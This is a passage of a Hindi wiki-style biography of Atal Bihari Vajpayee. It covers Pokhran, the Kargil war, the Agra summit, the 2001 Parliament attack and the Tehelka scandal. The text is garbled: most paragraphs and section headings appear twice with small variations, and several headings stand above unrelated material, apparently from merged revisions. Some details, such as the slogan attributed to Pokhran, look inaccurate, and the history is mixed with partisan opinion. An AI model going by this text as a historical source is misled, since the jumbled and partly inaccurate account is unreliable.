*अटलजी ने पोखरन में '''जय जवान, जय किसान''' का नारा देकर अपने समस्त इरादे दुनिया के सामने जाहिर कर दिए कि भारत भी एक परमाणु सम्पन्न देश है। अपनी स्वतंत्रता को क़ायम रखने के लिए उसे भी परमाणु बम बनाने का अधिकार है।
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*अटलजी ने पोखरन में '''जय जवान, जय किसान''' का नारा देकर अपने समस्त इरादे दुनिया के सामने ज़ाहिर कर दिए कि भारत भी एक परमाणु सम्पन्न देश है। अपनी स्वतंत्रता को क़ायम रखने के लिए उसे भी परमाणु बम बनाने का अधिकार है।
 
*अटलजी ने प्रधानमंत्री के रूप में 'ब्रेन ड्रेन' (युवा प्रतिभाओं में विदेश गमन की अभिरुचि) को रोकने की ज़रूरत बताई। उन्होंने युवाओं का आह्वान किया कि वे मातृभूमि की सेवा पर ध्यान दें।  
 
*अटलजी ने प्रधानमंत्री के रूप में 'ब्रेन ड्रेन' (युवा प्रतिभाओं में विदेश गमन की अभिरुचि) को रोकने की ज़रूरत बताई। उन्होंने युवाओं का आह्वान किया कि वे मातृभूमि की सेवा पर ध्यान दें।  
 
*अटलजी ने सेनाओं का मनोबल ऊँचा उठाने कार्य किया। साथ ही परमाणु कार्यक्रम की आधार शिला रखने वाली भूतपूर्व प्रधानमंत्री श्रीमती इंदिरा गांधी को भी उन्होंने धन्यवाद दिया। अटलजी के लिए राष्ट्रहित दलगत राजनीति से सदैव ऊपर रहा। अटलजी को उदारमना ही कहना चाहिए कि उन्होंने विपक्ष की उपलब्धियों को भी सराहा।  
 
*अटलजी ने सेनाओं का मनोबल ऊँचा उठाने कार्य किया। साथ ही परमाणु कार्यक्रम की आधार शिला रखने वाली भूतपूर्व प्रधानमंत्री श्रीमती इंदिरा गांधी को भी उन्होंने धन्यवाद दिया। अटलजी के लिए राष्ट्रहित दलगत राजनीति से सदैव ऊपर रहा। अटलजी को उदारमना ही कहना चाहिए कि उन्होंने विपक्ष की उपलब्धियों को भी सराहा।  
मात्र चौदह महीनों के कार्यकाल में अटलजी ने प्रधानमंत्री के रूप में स्वयं को सफल साबित कर किया। उन्हें पता था कि वह साझा सरकार के रूप में काम कर रहे हैं और भारतीय जनता पार्टी के पास पूर्ण बहुमत नहीं है, इस कारण उन्होंने अपने भाषण में स्पष्ट कर दिया था कि शायद यह कार्यकाल भी पूर्ण न हो पाए। फिर यही हुआ भी। इसके पश्चात् ए. आई. डी. एम. के. की जयललिता ने सशर्त समर्थन देना चाहा लेकिन अटलजी ने इसे स्वीकार नहीं किया और उन्हें प्रधानमंत्री पद से त्यागपत्र देना पड़ा। उस समय कोई भी पार्टी केन्द्र में सरकार बनाने में सक्षम नहीं थी। इस कारण सितम्बर-अक्टूबर के मध्य चुनाव कराए गए और इस समय तक कार्यवाहक प्रधानमंत्री का दायित्व अटलजी ने ही सम्भाला। लेकिन उसकी चर्चा करने से पूर्व उनके द्वितीय कार्यकाल में हुए कारगिल युद्ध का विवरण दिया जाना प्रासंगिक ही नहीं वरन् अत्यावश्यक भी होगा।  
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मात्र चौदह महीनों के कार्यकाल में अटलजी ने प्रधानमंत्री के रूप में स्वयं को सफल साबित कर किया। उन्हें पता था कि वह साझा सरकार के रूप में काम कर रहे हैं और भारतीय जनता पार्टी के पास पूर्ण बहुमत नहीं है, इस कारण उन्होंने अपने भाषण में स्पष्ट कर दिया था कि शायद यह कार्यकाल भी पूर्ण न हो पाए। फिर यही हुआ भी। इसके पश्चात् ए. आई. डी. एम. के. की जयललिता ने सशर्त समर्थन देना चाहा लेकिन अटलजी ने इसे स्वीकार नहीं किया और उन्हें प्रधानमंत्री पद से त्यागपत्र देना पड़ा। उस समय कोई भी पार्टी केन्द्र में सरकार बनाने में सक्षम नहीं थी। इस कारण सितम्बर-अक्टूबर के मध्य चुनाव कराए गए और इस समय तक [[कार्यवाहक प्रधानमंत्री]] का दायित्व अटलजी ने ही सम्भाला। लेकिन उसकी चर्चा करने से पूर्व उनके द्वितीय कार्यकाल में हुए कारगिल युद्ध का विवरण दिया जाना प्रासंगिक ही नहीं वरन् अत्यावश्यक भी होगा।  
 
==कारगिल युद्ध==
 
==कारगिल युद्ध==
कश्मीर के कारगिल क्षेत्र में सामरिक महत्व की ऊँची चोटियाँ भारत के अधिकार क्षेत्र में आती हैं। उन दुर्गम चोटियों पर शीत ऋतु में रहना काफ़ी कष्टसाध्य होता है। इस कारण भारतीय सेना वहाँ शीत ऋतु में नहीं रहती थी। इसका लाभ उठाकर पाकिस्तान के राष्ट्रपति परवेज मुशर्रफ़ ने आतंकवादियों के साथ पाकिस्तानी सेना को भी कारगिल पर क़ब्ज़ा करने के लिए भेज दिया। वस्तुत: पाकिस्तान ने सीमा सम्बन्धी नियमों का उल्लघंन किया था। लेकिन उसके पास यह सुरक्षित बहाना था कि कारगिल की चोटियों पर तो आतंकवादियों ने क़ब्ज़ा किया है, न कि पाकिस्तान की सेना ने। ऐसी स्थिति में भारतीय सेना के सामने बड़ी चुनौती थी। दुश्मन काफ़ी ऊँचाई पर था और भारतीय सेना उनके आसान निशाने पर थी। लेकिन भारतीय सेना ने अपना मनोबल क़ायम रखते हुए पाकिस्तानी फ़ौज पर आक्रमण कर दिया। इसे 'ऑपरेशन विजय' का नाम दिया गया। युद्ध के दौरान भारतीय सेना के सैकड़ों अफ़सरों और सैनिकों को कुर्बानी देनी पड़ी। पाकिस्तानी सैनिक भी बड़ी संख्या में हताहत हुए। यहाँ यह भी बताना प्रासंगिक होगा कि कुछ ही समय पहले भारत के प्रधानमंत्री अटल बिहारी वाजपेयी पाकिस्तान का दौरा करके आए थे और भारत-पाक सम्बन्धों को सुधारने की दिशा में महत्त्वपूर्ण मंत्रणाएँ भी हुई थीं। उस समय पाकिस्तान के प्रधानमंत्री नवाज शरीफ़ थे और राष्ट्रपति परवेज मुशर्रफ़। फ़रवरी [[2009]] में नवाज शरीफ़ ने यह ख़ुलासा किया कि कारगिल पर क़ब्ज़ा करने की साज़िश तत्कालीन राष्ट्रपति परवेज मुशर्रफ़ की थी और उन्होंने मुझे क़ैद कर लिया था। कारगिल में पाकिस्तानी सेना का प्रवेश परवेज मुशर्रफ़ के आदेश पर ही हुआ था, जबकि परवेज मुशर्रफ़ ने यह कहा था कि कारगिल में पाकिस्तानी आतंकवादी उपस्थित थे।
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[[चित्र:Putin-abdul-Kalam-atal-bihari.jpg|300px|thumb|[[रूस]] के राष्ट्रपति व्लादिमिर पुतिन और [[भारत]] के पूर्व [[राष्ट्रपति]] [[अब्दुल कलाम]] के साथ अटल बिहारी वाजपेयी]]
====<u>भारत को विजयश्री</u>====
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{{Main|कारगिल युद्ध}}
भारतीय सैनिकों ने ठान लिया था कि वे कारगिल से पाकिस्तानियों को खदेड़कर ही दम लेंगे। भारतीय सैनिकों ने विलक्षण वीरता का परिचय देते हुए पाकिस्तानी सैनिकों को चारों ओर से घेर लिया। बेशक़ कारगिल युद्ध में भारत को विजयश्री प्राप्त हुई लेकिन अमेरिका के हस्तक्षेप के कारण भारत सरकार ने पाकिस्तानी सैनिकों को हथियारों सहित निकल भागने का मौक़ा दे दिया। पाकिस्तान को सामरिक महत्व की चोटियाँ ख़ाली करनी पड़ीं और भारत ने पाकिस्तानी सैनिकों की जिन्दा वापसी को स्वीकार कर लिया। वस्तुत: युद्ध के भी कुछ नियम होते हैं। भारतवर्ष ने उन्हीं नियमों का पालन किया था। लेकिन इस युद्ध में जहाँ भारत की जीत का सेहरा अटलजी के सिर पर बंधा, वहीं कई अन्य बातें भी प्रमाणित हुईं। जिन बोफ़ोर्स तोपों के नाकारा होने की बात श्री राजीव गांधी के प्रधानमंत्रित्व काल में विपक्ष एवं भाजपा करती थीं, वही तोपें कारगिल युद्ध में बेहद क़ामयाब और उपयोगी साबित हुईं। सेना के उच्च अधिकारियों ने कहा कि बोफोर्स तोपों के कारण ही कारगिल में भारतीय सेना को शीघ्र क़ामयाबी मिल पाई थी वरना युद्ध लम्बा खिंच सकता था। बोफोर्स तोपों को लेकर राजीव गांधी पर जो आरोप लगे, वह इस प्रकार आंशिक रूप से धुल गए। बाद में न्यायपालिका ने भी स्वर्गीय राजीव गांधी को इस मामले में क्लीन चिट प्रदान कर दी।  
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कश्मीर के कारगिल क्षेत्र में सामरिक महत्त्व की ऊँची चोटियाँ भारत के अधिकार क्षेत्र में आती हैं। उन दुर्गम चोटियों पर शीत ऋतु में रहना काफ़ी कष्टसाध्य होता है। इस कारण भारतीय सेना वहाँ शीत ऋतु में नहीं रहती थी। इसका लाभ उठाकर पाकिस्तान के राष्ट्रपति परवेज मुशर्रफ़ ने आतंकवादियों के साथ पाकिस्तानी सेना को भी कारगिल पर क़ब्ज़ा करने के लिए भेज दिया। वस्तुत: पाकिस्तान ने सीमा सम्बन्धी नियमों का उल्लघंन किया था। लेकिन उसके पास यह सुरक्षित बहाना था कि कारगिल की चोटियों पर तो आतंकवादियों ने क़ब्ज़ा किया है, न कि पाकिस्तान की सेना ने। ऐसी स्थिति में भारतीय सेना के सामने बड़ी चुनौती थी। दुश्मन काफ़ी ऊँचाई पर था और भारतीय सेना उनके आसान निशाने पर थी। लेकिन भारतीय सेना ने अपना मनोबल क़ायम रखते हुए पाकिस्तानी फ़ौज पर आक्रमण कर दिया। इसे 'ऑपरेशन विजय' का नाम दिया गया।  
====<u>शहीद सैनिकों का राजकीय सम्मान</u>====
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====भारत को विजयश्री====
कारगिल युद्ध के बाद शहीद भारतीय सैनिकों के शवों को उनके पैतृक आवास पर भेजने की विशेष व्यवस्था की गई। इससे पूर्व ऐसी व्यवस्था नहीं थी। पैतृक आवास पर शहीद सैनिकों का राजकीय सम्मान के साथ अन्तिम संस्कार किया गया। उनके शवों को ले जाने के लिए काफ़ी मंहगे शव बक्सों (कॉफ़िन बॉक्स) का उपयोग किया गया। उस समय देश के रक्षा मंत्री जॉर्ज फ़र्नांडीज़ थे। उन पर यह आरोप लगा कि शव बक्सों की मंहगी ख़रीद का कारण कमीशन प्राप्त करना था। यह ताबूत विदेशों से आयात किए गए थे। इससे भारतीय राजनीति का एक घटिया अध्याय लिखा गया। उस समय विपक्ष ने यह प्रचार आरम्भ कर दिया कि शहीदों की निर्जीव देह के लिए प्रयुक्त ताबूतों द्वारा भी धन बटोरने का कार्य किया गया। कारगिल का 'ऑपरेशन विजय' इस कारण भी महत्त्वपूर्ण था क्योंकि पाकिस्तानियों ने इस पर क़ब्ज़ा करके बढ़त प्राप्त करने की योजना बनाई थी। यदि पाकिस्तानियों को कारगिल से नहीं खदेड़ा जाता तो निकट भविष्य में वे कश्मीर की काफ़ी भूमि पर क़ब्ज़ा कर सकते थे।
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भारतीय सैनिकों ने ठान लिया था कि वे कारगिल से पाकिस्तानियों को खदेड़कर ही दम लेंगे। भारतीय सैनिकों ने विलक्षण वीरता का परिचय देते हुए पाकिस्तानी सैनिकों को चारों ओर से घेर लिया। बेशक़ कारगिल युद्ध में भारत को विजयश्री प्राप्त हुई लेकिन अमेरिका के हस्तक्षेप के कारण भारत सरकार ने पाकिस्तानी सैनिकों को हथियारों सहित निकल भागने का मौक़ा दे दिया। पाकिस्तान को सामरिक महत्त्व की चोटियाँ ख़ाली करनी पड़ीं और भारत ने पाकिस्तानी सैनिकों की ज़िन्दा वापसी को स्वीकार कर लिया। वस्तुत: युद्ध के भी कुछ नियम होते हैं। भारतवर्ष ने उन्हीं नियमों का पालन किया था। लेकिन इस युद्ध में जहाँ भारत की जीत का सेहरा अटलजी के सिर पर बंधा, वहीं कई अन्य बातें भी प्रमाणित हुईं। जिन बोफ़ोर्स तोपों के नाकारा होने की बात श्री राजीव गांधी के प्रधानमंत्रित्व काल में विपक्ष एवं भाजपा करती थीं, वही तोपें कारगिल युद्ध में बेहद कामयाब और उपयोगी साबित हुईं। सेना के उच्च अधिकारियों ने कहा कि बोफोर्स तोपों के कारण ही कारगिल में भारतीय सेना को शीघ्र कामयाबी मिल पाई थी वरना युद्ध लम्बा खिंच सकता था। बोफोर्स तोपों को लेकर राजीव गांधी पर जो आरोप लगे, वह इस प्रकार आंशिक रूप से धुल गए। बाद में [[न्यायपालिका]] ने भी स्वर्गीय राजीव गांधी को इस मामले में क्लीन चिट प्रदान कर दी।<br />
 
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प्रधानमंत्री अटल बिहारी वाजपेयी की सरकार पर लापरवाही का आरोप लगा कि जब 1998 में पाकिस्तानी सैनिकों ने कारगिल पर शीत काल में घुसपैठ की थी तो भारत का ख़ुफ़िया तंत्र समय पर इसका पता नहीं लगा सका। इस पर ख़ुफ़िया तंत्र ने स्पष्ट किया कि उसे इस बात की जानकारी थी और उसने सरकार को सूचित कर दिया था। तब विपक्ष ने सरकार को निशाना बनाया कि ऐसी घोर लापरवाही का उद्देश्य क्या था? क्या उद्देश्य यह था कि युद्ध जैसे हालात पैदा करने के लिए सरकार इंतज़ार कर रही थी, ताकि युद्ध में विजय का लाभ आगामी चुनावों में प्राप्त किया जा सके?
प्रधानमंत्री अटल बिहारी वाजपेयी की सरकार पर लापरवाही का आरोप लगा कि जब 1998 में पाकिस्तानी सैनिकों ने कारगिल पर शीत काल में घुसपैठ की थी तो भारत का ख़ुफ़िया तंत्र समय पर इसका पता नहीं लगा सका। इस पर ख़ुफ़िया तंत्र ने स्पष्ट किया कि उसे इस बात की जानकारी थी और उसने सरकार को सूचित कर दिया था। तब विपक्ष ने सरकार को निशाना बनाया कि ऐसी घोर लापरवाही का उद्देश्य क्या था?  
 
क्या उद्देश्य यह था कि युद्ध जैसे हालात पैदा करने के लिए सरकार इंतज़ार कर रही थी, ताकि युद्ध में विजय का लाभ आगामी चुनावों में प्राप्त किया जा सके?
 
====<u>कार्यवाहक प्रधानमंत्री</u>====
 
कारगिल में युद्ध की जो स्थितियाँ बनीं, वह निश्चय ही घोर लापरवाही का कारण थीं, लेकिन सच्चाई सामने नहीं आ सकी। अगले चुनावों में एन. डी. ए. की सरकार बनी। उसने उन आरोपों की निष्पक्ष जाँच कराने में कोई दिलचस्पी नहीं दिखाई और सभी सवाल समय की गर्त में दफ़न हो गए। अटलजी की सरकार दूसरी बार एक मत की कमी से बहुमत के जादुई आँकड़े तक नहीं पहुँच पाई और उसका पतन हो गया। सरकार गिराने के लिए विपक्ष ने राजनीति में प्रचलित वैध-अवैध सभी पैंतरे आजमाए, लेकिन कोई भी पार्टी सरकार बनाने की स्थिति में नहीं थी। अत: अप्रैल, 1999 से अक्टूबर, 1999 तक अटलजी कार्यवाहक प्रधानमंत्री रहे।
 
==तीसरी बार प्रधानमंत्री==
 
चुनाव के पश्चात एन. डी. ए. को स्पष्ट बहुमत प्राप्त हुआ और 13 अक्टूबर, 1999 को राष्ट्रपति श्री [[के. आर. नारायणन]] ने अटलजी को प्रधानमंत्री के रूप में पद एवं गोपनीयता की शपथ दिलाई। इस प्रकार अटलजी तीसरी बार प्रधानमंत्री बने। वह पहले के दो कार्यकाल पूर्ण नहीं कर पाए थे। अब अटलजी की पार्टी भाजपा और भाजपा के सहयोगियों की चर्चा करना भी प्रासंगिक होगा। यह सर्वविदित है कि भाजपा हिन्दुत्ववादी पार्टी है, लेकिन वह धर्मनिरपेक्षता का सिद्धान्त भी स्वीकार करती है। भाजपा में अनेक मुस्लिम लोग भी सम्मिलित हैं। लेकिन भाजपा का विश्वास रहा है कि हिन्दुओं को अपनी पार्टी से जोड़कर रखना है। इस कारण वह उन संवेदनशील मुद्दों को हवा सदैव देती रही जो हिन्दुओं से सम्बन्धित थे। इसमें अयोध्या स्थित रामजन्म भूमि पर मन्दिर बनाए जाने का भी मुद्दा था। यद्यपि अटलजी उस सीमा तक भाजपा के साथ माने जाते हैं, जहाँ तक हिन्दू राष्ट्र का सवाल आता है, लेकिन वह जन भावनाएँ भड़काने की नीति के समर्थक कभी भी नहीं रहे।
 
  
अटलजी प्रधानमंत्री के रूप में यक़ीनन बेहद योग्य व्यक्ति रहे हैं और नेहरूजी ने अपने जीवनकाल में ही यह घोषणा कर दी थी तथापि आडवाणी जी को इस बात का श्रेय अवश्य दिया जाना चाहिए कि उन्होंने अटलजी को प्रधानमंत्री के रूप में प्रचारित किया। आडवाणी जी के इस अथक श्रम को निश्चय ही याद किया जाएगा कि उन्होंने अटलजी के लिए समर्थन जुटाया। भाजपा की हिन्दुत्ववादी नीति से वोट बटोरने का कार्य भी उन्होंने किया था। राजनीति में स्थायी मित्रता और शत्रुता का कोई भी स्थान नहीं होता। प्रधानमंत्री बनने के बाद अटलजी के सामने सम्पूर्ण देश और उसकी समस्याएँ थीं। वह भाजपा तक सीमित नहीं रह सकते थे। वह संवैधानिक मर्यादा से बंधे हुए थे। यों भी अटलजी नैतिक व्यक्ति रहे हैं। इसके अलावा एन. डी. ए. के प्रति भी उनका उत्तरदायित्व था। आडवाणी जी चाहते थे कि राम मन्दिर का मसला सुलझा लिया जाए। लेकिन अटलजी जानते थे कि एन. डी. ए. में शामिल अन्य दल इसके लिए तैयार नहीं होंगे। वह विवादास्पद प्रधानमंत्री नहीं बनना चाहते थे। वह दूरगामी परिणामों का आकलन कर रहे थे। यही कारण है कि आडवाणी जी के साथ उनके वैचारिक मतभेद हो गए।
 
==ठोस कार्य==
 
अटलजी की एन. डी. ए. सरकार ने पाँच वर्ष का कार्यकाल अवश्य पूर्ण किया, लेकिन इसके लिए अटलजी को काफ़ी पापड़ बेलने पड़े। एन. डी. ए. संयोजक जॉर्ज फ़र्नाडीज़ ने भी इसमें सकारात्मक भूमिका का निर्वहन किया था। एन. डी. ए. के सभी घटकों का पाँच वर्ष तक एक साथ रहना भी किसी चुनौती से कम नहीं था। अटलजी के तृतीय प्रधानमंत्रित्व काल की विशेषताओं को संक्षिप्त रूप में इस प्रकार समझा जा सकता है-
 
*श्री नरसिम्हा राव में आर्थिक सुधारों की जो नीति आरम्भ की थी, उसे अटलजी ने जारी रखा। उन्हें इस नीति के सकारात्मक तथ्यों का ज्ञान था। वह उसे इस कारण ख़ारिज नहीं करना चाहते थे कि वह कांग्रेस की आर्थिक नीति थी। ऐसी नीति से अर्थव्यवस्था के सुधार का लाभ इनकी सरकार को भी प्राप्त हुआ और सर्वहारा वर्ग भी आर्थिक रूप से सम्पन्न हुआ।
 
*श्री अटलजी ने संतुलित विदेश नीति का पालन करते हुए अपनी परमाणु नीति को स्पष्ट किया। अमेरिका और उसके मित्र देशों ने पोखरण परमाणु विस्फोट पर आँखें अवश्य तरेरीं लेकिन अटलजी ने स्पष्ट कर दिया कि भारत अगला परमाणु परीक्षण नहीं करेगा। वह परमाणु बम का उपयोग तभी करेगा जब उसके विरुद्ध ऐसा किया जाएगा। भारतीय परमाणु कार्यक्रम [[चीन]] तथा पाकिस्तान के विरोधी रवैये को देखते हुए बनाया गया और सारी दुनिया भी भारत के इस भय को समझती थी।
 
*आर्थिक विकास के लिए अटलजी ने 'स्वर्णिम चतुर्भुज' योजना का आरम्भ किया। इसके अंतर्गत वह देश के महत्त्वपूर्ण शहरों को लम्बी-चौड़ी सड़कों के माध्यम से जोड़ना चाहते थे। इसका अधिकांश कार्य अटलजी के कार्यकाल में पूर्ण हुआ। इससे जहाँ आम व्यक्ति की यात्रा सुविधाजनक हुई, वहीं व्यापारिक और क़ारोबारी गतिविधियों को भी प्रोत्साहन मिला।
 
*अटलजी ने पड़ोसी देश पाकिस्तान के साथ सम्बन्ध सुधारने की दिशा में सदैव पहल की, यद्यपि पाकिस्तान ने कभी भी अपने वादों को पूर्ण नहीं किया। कारगिल युद्ध इसका स्पष्ट उदाहरण है। उन्होंने पाकिस्तान के सैनिक शासक परवेज मुशर्रफ़ से भी बातचीत की थी।
 
*अमेरिकी राष्ट्रपति बिल क्लिटंन के भारत आगमन पर अमेरिका के साथ भारतीय सम्बन्धों को सुधारने की दिशा में कार्य किया गया। अटलजी ने पाकिस्तान के अपदस्थ प्रधानमंत्री नवाज शरीफ़ की रिहाई के लिए बिल क्लिंटन से वार्ता की ताकि पड़ोसी देश में प्रजातंत्र की हत्या न हो सके। इस साझा प्रयास से ही नवाज शरीफ़ की रिहाई सम्भव हो सकी।
 
 
==मुशर्रफ़ से वार्ता==
 
==मुशर्रफ़ से वार्ता==
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[[चित्र:Atal-bihari-vajpayee-with-musharraf.jpg|thumb|अटल बिहारी वाजपेयी और [[पाकिस्तान]] के राष्ट्रपति परवेज मुशर्रफ़]]
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{{Main|आगरा शिखर वार्ता}}
 
प्रधानमंत्री अटल बिहारी वाजपेयी ने पाकिस्तान के राष्ट्रपति परवेज मुशर्रफ़ को [[आगरा]] में शिख़र वार्ता के लिए आमंत्रित किया। अटलजी चाहते थे कि वार्तालाप के माध्यम से दोनों देशों की समस्याओं का निराकरण किया जाए, लेकिन परवेज मुशर्रफ़ के व्यक्तित्व को समझने में भूल कर बैठे। परवेज मुशर्रफ़ ने शाही यात्रा का आनन्द तो उठाया लेकिन समझौते की राह हमवार नहीं हुई। परवेज मुशर्रफ़ ने भारत सरकार को पूर्व सूचना दिए बग़ैर ही आगरा के इलेक्ट्रानिक मीडिया को संभाषण जारी कर दिया, जिससे भारत की आलोचना हुई। इस संभाषण में भारत का पक्ष भी नकार दिया गया और कश्मीर के मामले को अधिक पेचीदा बनाकर पेश किया गया।  
 
प्रधानमंत्री अटल बिहारी वाजपेयी ने पाकिस्तान के राष्ट्रपति परवेज मुशर्रफ़ को [[आगरा]] में शिख़र वार्ता के लिए आमंत्रित किया। अटलजी चाहते थे कि वार्तालाप के माध्यम से दोनों देशों की समस्याओं का निराकरण किया जाए, लेकिन परवेज मुशर्रफ़ के व्यक्तित्व को समझने में भूल कर बैठे। परवेज मुशर्रफ़ ने शाही यात्रा का आनन्द तो उठाया लेकिन समझौते की राह हमवार नहीं हुई। परवेज मुशर्रफ़ ने भारत सरकार को पूर्व सूचना दिए बग़ैर ही आगरा के इलेक्ट्रानिक मीडिया को संभाषण जारी कर दिया, जिससे भारत की आलोचना हुई। इस संभाषण में भारत का पक्ष भी नकार दिया गया और कश्मीर के मामले को अधिक पेचीदा बनाकर पेश किया गया।  
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====आतंक का साया====
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पाकिस्तान द्वारा समर्थित आतंकवाद के कारण भारत में अनेक प्रकार की समस्याएँ उत्पन्न हुईं। पाकिस्तान यह अच्छी तरह से समझ चुका था कि भारत से युद्ध करके जीतना उसके लिए सम्भव नहीं है। इस कारण उसने आतंकवादियों के बल पर नई युद्ध नीति का विकास किया, जिससे कश्मीर के अवाम को सदैव परेशानियाँ भोगनी पड़ीं। अक्टूबर [[2002]] में आतंकवादियों ने जम्मू-कश्मीर विधानसभा पर आत्मघाती हमला कर दिया। वाजपेयी सरकार का ख़ुफ़िया तंत्र इस बार भी आतंकवादियों के मंसूबों का पूर्वानुमान नहीं कर पाया। पाकिस्तान बेशर्म की भाँति मुस्कराता रहा और भारत सरकार की प्रशासनिक क्षमता पर प्रश्नचिह्न लग गया। इतना ही नहीं, [[13 दिसम्बर]], [[2001]] को भारत की [[संसद]] पर आतंकियों ने हमला करके सबको आश्चर्य में डाल दिया। देश की राजधानी में संसद पर हमला किया जाना [[भारतीय इतिहास]] के लिए बाकई बेहद शर्म का दिन था। आतंकवादी भारी सुरक्षा के बावजूद संसद परिसर में गोला, बारूद और हथियारों सहित प्रविष्ट हो गए। लोकतंत्र की सबसे बड़ी संस्था पर किया गया हमला पाकिस्तान समर्थित आतंकवाद का ही हिस्सा था। इस हमले के तहत् भारत सरकार ने काफ़ी शोर-शराबा मचाया और कूटनीतिक दबाव बनाने के लिए अंतर्राष्ट्रीय बिरादरी का ध्यान भी आकृष्ट किया। लेकिन जो अपनी रक्षा स्वयं नहीं कर पाता, उसका साथ भला कौन देता है?
  
इस प्रकार परवेज मुशर्रफ़ ने भारत की ज़मीन पर रहते हुए भारत की ज़मीन का उपयोग कूटनीति के लिए किया और पाकिस्तानियों में लोकप्रियता हासिल कर ली। कहने का तात्पर्य यह है कि परवेज मुशर्रफ़ को 'बेचारा' समझकर बुलाया गया लेकिन वह नायक बनकर विदा हुआ। अटलजी के प्रयास सकारात्मक अवश्य थे, लेकिन परवेज मुशर्रफ़ भारत से सम्बन्ध सुधारने की ख़्वाहिश नहीं रखते थे। मुशर्रफ़ सरकार ने भारत में आतंकवादी घटनाओं को बढ़ावा दिया। परवेज मुशर्रफ़ और उनकी सरकार ने भारत के साथ कोई भी क़रार इस शिखर वार्ता के दौरान नहीं किया।
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भारत ने बेशक़ संयम से काम लिया, लेकिन आवश्यकता थी कड़े क़दम उठाने की। परन्तु अटलजी इस हमले का माक़ूल जवाब देने में विफल रहे। इस सम्बन्ध में विपक्ष चाहता था कि वाजपेयी सरकार पाकिस्तान को इसका जवाब युद्ध से दे, लेकिन सरकार ने सीमाओं पर भारी तादाद में सेनाओं की तैनाती कर दी। युद्ध के बादल अवश्य मंडराये, लेकिन बरसे नहीं। परमाणु शक्ति दोनों देशों के पास हैं। इस कारण युद्ध की आशंका दोनों देशों के निवासी भयभीत थे। वे लोग युद्ध नहीं चाहते थे। यह आतंकवादी कार्रवाई लश्करे तैयबा ने की थी, जिसका पाकिस्तान में पोषण हो रहा था। संसद पर हमला करने वाले पाँच आतंकी थे और पाँचों को ही मार गिराया गया।
==आतंक का साया==
 
पाकिस्तान द्वारा समर्थित आतंकवाद के कारण भारत में अनेक प्रकार की समस्याएँ उत्पन्न हुईं। पाकिस्तान यह अच्छी तरह से समझ चुका था कि भारत से युद्ध करके जीतना उसके लिए सम्भव नहीं है। इस कारण उसने आतंकवादियों के बल पर नई युद्ध नीति का विकास किया, जिससे कश्मीर के अवाम को सदैव परेशानियाँ भोगनी पड़ीं। अक्टूबर [[2002]] में आतंकवादियों ने जम्मू-कश्मीर विधानसभा पर आत्मघाती हमला कर दिया। वाजपेयी सरकार का ख़ुफ़िया तंत्र इस बार भी आतंकवादियों के मंसूबों का पूर्वानुमान नहीं कर पाया। पाकिस्तान बेशर्म की भाँति मुस्कराता रहा और भारत सरकार की प्रशासनिक क्षमता पर प्रश्नचिह्न लग गया। इतना ही नहीं, [[13 दिसम्बर]], [[2001]] को भारत की संसद पर आतंकियों ने हमला करके सबको आश्चर्य में डाल दिया। देश की राजधानी में संसद पर हमला किया जाना भारतीय इतिहास के लिए बाकई बेहद शर्म का दिन था। आतंकवादी भारी सुरक्षा के बावजूद संसद परिसर में गोला, बारूद और हथियारों सहित प्रविष्ट हो गए। लोकतंत्र की सबसे बड़ी संस्था पर किया गया हमला पाकिस्तान समर्थित आतंकवाद का ही हिस्सा था। इस हमले के तहत् भारत सरकार ने काफ़ी शोर-शराबा मचाया और कूटनीतिक दबाव बनाने के लिए अंतर्राष्ट्रीय बिरादरी का ध्यान भी आकृष्ट किया। लेकिन जो अपनी रक्षा स्वयं नहीं कर पाता, उसका साथ भला कौन देता है?
 
 
 
भारत ने बेशक़ संयम से काम लिया, लेकिन आवश्यकता थी कड़े क़दम उठाने की। परन्तु अटलजी इस हमले का माक़ूल जवाब देने में विफल रहे। इस सम्बन्ध में विपक्ष चाहता था कि वाजपेयी सरकार पाकिस्तान को इसका जवाब युद्ध से दे, लेकिन सरकार ने सीमाओं पर भारी तादाद में सेनाओं की तैनाती कर दी। युद्ध के बादल अवश्य मंडराये, लेकिन बरसे नहीं। परमाणु शक्ति दोनों देशों के पास हैं। इस कारण युद्ध की आशंका दोनों देशों के निवासी भयभीत थे। वे लोग युद्ध नहीं चाहते थे। यह आतंकवादी कार्रवाई लश्करे तैयबा ने की थी, जिसका पाकिस्तान में पोषण हो रहा था। संसद पर हमला करने वाले पाँच आतंकी थे और पाँचों को ही मार गिराया गया।  
 
 
==भ्रष्टाचार के आरोप==
 
==भ्रष्टाचार के आरोप==
एन. डी. ए. सरकार पर भ्रष्टाचार के अनेक आरोप लगे थे। इनमें सर्वाधिक चर्चित था-तहलका काण्ड। तहलका द्वारा भाजपा सदस्यों सहित सेना के अनेक अधिकारियों को घूस लेते हुए कैमरे में क़ैद करके सार्वजनिक रूप से उसका टी. वी. चैनल पर प्रदर्शन किया गया था। तब भाजपा अध्यक्ष बंगारू लक्ष्मण और रक्षा मंत्री जॉर्ज फ़र्नाडीज़ ने इस्तीफ़ा दे दिया। लेकिन बाद में जॉर्ज फ़र्नीडीज़ को पुन: रक्षा मंत्रालय दे दिया गया। इससे जॉर्ज फ़र्नाडीज़ की छवि पर ऐसा दाग़ लगा कि फिर कभी भी धुल नहीं पाया। उसकी काली छाया भाजपा और अटलजी पर भी पड़ी। संसद का सत्र आहूत किए जाने पर विपक्ष ने जॉर्ज फ़र्नाडीज़ को लेकर सदन का कई बार बहिष्कार किया। एन. डी. ए. का कार्यकाल समाप्त होने तक यही स्थिति बनी रही।
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एन.डी.ए. सरकार पर भ्रष्टाचार के अनेक आरोप लगे थे। इनमें सर्वाधिक चर्चित था-तहलका काण्ड। तहलका द्वारा भाजपा सदस्यों सहित सेना के अनेक अधिकारियों को घूस लेते हुए कैमरे में क़ैद करके सार्वजनिक रूप से उसका टी. वी. चैनल पर प्रदर्शन किया गया था। तब भाजपा अध्यक्ष बंगारू लक्ष्मण और रक्षा मंत्री जॉर्ज फ़र्नाडीज़ ने इस्तीफ़ा दे दिया। लेकिन बाद में जॉर्ज फ़र्नीडीज़ को पुन: रक्षा मंत्रालय दे दिया गया। इससे जॉर्ज फ़र्नाडीज़ की छवि पर ऐसा दाग़ लगा कि फिर कभी भी धुल नहीं पाया। उसकी काली छाया भाजपा और अटलजी पर भी पड़ी। संसद का सत्र आहूत किए जाने पर विपक्ष ने जॉर्ज फ़र्नाडीज़ को लेकर सदन का कई बार बहिष्कार किया। एन. डी. ए. का कार्यकाल समाप्त होने तक यही स्थिति बनी रही।
 
==चुनावों में पराजय==
 
==चुनावों में पराजय==
